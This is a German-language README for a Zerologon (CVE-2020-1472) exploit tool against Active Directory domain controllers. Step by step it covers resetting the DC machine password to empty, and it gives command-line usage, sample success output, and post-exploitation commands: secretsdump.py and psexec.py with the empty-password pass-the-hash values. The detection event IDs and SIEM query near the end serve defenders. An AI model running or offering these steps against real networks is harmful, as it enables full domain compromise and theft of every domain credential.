
Zerologon (CVE-2020-1472) Proof-of-Concept-Anwendung - Werkzeug zur Ausnutzung einer kritischen Active Directory-Sicherheitslücke.
Dieses Projekt ist eine Implementierung der Zerologon-Sicherheitslücke (CVE-2020-1472), einer der kritischsten Active Directory-Sicherheitslücken. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, die gesamte Active Directory-Domäne zu gefährden, indem das Computerkontopasswort des Domänencontrollers zurückgesetzt wird.
Zerologon ist ein kryptografischer Fehler im Netlogon Remote Protocol (MS-NRPC) von Microsoft. Die Sicherheitslücke besteht darin, wie Netlogon die AES-CFB8-Verschlüsselung mit einem fest codierten Initialisierungsvektor (IV) von Null verwendet.
Technische Zusammenfassung:
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
Mit Visual Studio:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Beispiel:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: Vollqualifizierter Domänenname des Ziel-DomänencontrollersDC_NetBIOS_Name: NetBIOS-Name des DC (normalerweise der Hostname)Machine_Account_Name: Name des Computerkontos (muss mit $ enden)Erfolgreiche Ausnutzung:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Fehlgeschlagene Ausnutzung (gepatchtes System):
[-] Attack failed after 2000 attempts. Target likely patched.
Nach erfolgreichem Zurücksetzen des DC-Passworts können Sie:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Netzwerkbasierte Erkennung:
Protokollbasierte Erkennung:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
SIEM-Abfragen:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt.
Der Autor übernimmt KEINE Verantwortung für den Missbrauch dieses Codes.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Informationen finden Sie in der LICENSE-Datei.